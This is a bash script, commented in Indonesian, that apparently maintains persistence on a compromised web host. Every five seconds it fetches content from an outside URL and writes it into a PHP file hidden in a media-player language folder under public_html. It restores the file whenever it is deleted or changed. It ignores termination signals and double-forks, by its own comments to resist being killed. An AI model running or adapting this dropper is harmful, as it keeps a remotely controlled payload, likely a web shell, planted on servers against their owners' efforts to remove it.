#!/bin/bash

FILE_PATH="/home/impetzdo/public_html/learn/media/player/html5audio/lang/en/media_eng.php"
URL="https://sportsfreund-blog.de/om.txt"
FILE_DIR=$(dirname "$FILE_PATH")
EXPECTED_PERMISSIONS="0755"
LOG_FILE="/home/impetzdo/public_html/learn/media/player/html5audio/lang/en/restorer.log"

# Tangani sinyal agar sulit dihentikan
trap "" SIGINT SIGTERM SIGHUP

# Fungsi logging
log_message() {
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$LOG_FILE"
}

# Buat direktori log jika belum ada
mkdir -p "$(dirname "$LOG_FILE")"

log_message "=== Script restorer dimulai ==="
log_message "File target: $FILE_PATH"
log_message "URL sumber: $URL"

create_directory() {
  if [ ! -d "$FILE_DIR" ]; then
    mkdir -p "$FILE_DIR"
    log_message "Direktori dibuat: $FILE_DIR"
  fi
}

fetch_content() {
  if command -v curl &>/dev/null; then
    curl -s "$URL"
    return $?
  fi
  if command -v wget &>/dev/null; then
    wget -qO- "$URL"
    return $?
  fi
  if command -v fetch &>/dev/null; then
    fetch -qo- "$URL"
    return $?
  fi
  if command -v http &>/dev/null; then
    http -b GET "$URL"
    return $?
  fi
  log_message "ERROR: Tidak ada tool download yang tersedia (curl, wget, fetch, http)"
  return 1
}

update_file() {
  echo "$EXPECTED_CONTENT" > "$FILE_PATH"
  chmod "$EXPECTED_PERMISSIONS" "$FILE_PATH"
  log_message "File diperbarui: $FILE_PATH"
}

check_and_update() {
  create_directory

  EXPECTED_CONTENT=$(fetch_content)
  if [ $? -ne 0 ]; then
    log_message "ERROR: Gagal mengambil konten dari $URL"
    return 1
  fi

  if [ ! -f "$FILE_PATH" ]; then
    update_file
    log_message "File dibuat baru: $FILE_PATH"
    return 0
  fi

  CURRENT_CONTENT=$(cat "$FILE_PATH" 2>/dev/null)
  if [ "$CURRENT_CONTENT" != "$EXPECTED_CONTENT" ]; then
    update_file
    log_message "File dipulihkan: $FILE_PATH (konten berubah)"
    return 0
  fi
}

run_process() {
  local counter=0
  while true; do
    check_and_update
    ((counter++))
    
    # Log status setiap 10 iterasi
    if [ $((counter % 10)) -eq 0 ]; then
      log_message "Status: masih berjalan (iterasi ke-$counter)"
    fi
    
    sleep 5
  done
}

# Forking ganda untuk menghindari pkill
double_fork() {
  log_message "Process forking dimulai"
  (
    while true; do
      run_process &
      PID=$!
      log_message "Subprocess started dengan PID: $PID"
      wait $PID
      EXIT_CODE=$?
      log_message "ERROR: Subprocess mati dengan exit code: $EXIT_CODE, restarting..."
      sleep 2
    done
  ) &
  MAIN_PID=$!
  log_message "Main process started dengan PID: $MAIN_PID"
  disown
}

# Ekspor semua fungsi agar tersedia di subshell
export -f log_message
export -f create_directory
export -f fetch_content
export -f update_file
export -f check_and_update
export -f run_process
export -f double_fork

# Ekspor variabel
export FILE_PATH
export URL
export FILE_DIR
export EXPECTED_PERMISSIONS
export LOG_FILE

# Jalankan script di background independen dari user
log_message "Memulai script dengan nohup..."
nohup bash -c '
# Source fungsi-fungsi yang sudah diexport
source /dev/stdin <<< "$(declare -f)"
double_fork
' >> "$LOG_FILE" 2>&1 &
DISOWN_PID=$!
log_message "Script berjalan di background dengan PID: $DISOWN_PID"

echo "Script berjalan secara independen."
echo "File akan dipulihkan otomatis jika hilang atau berubah."
echo "Log dapat dilihat di: $LOG_FILE"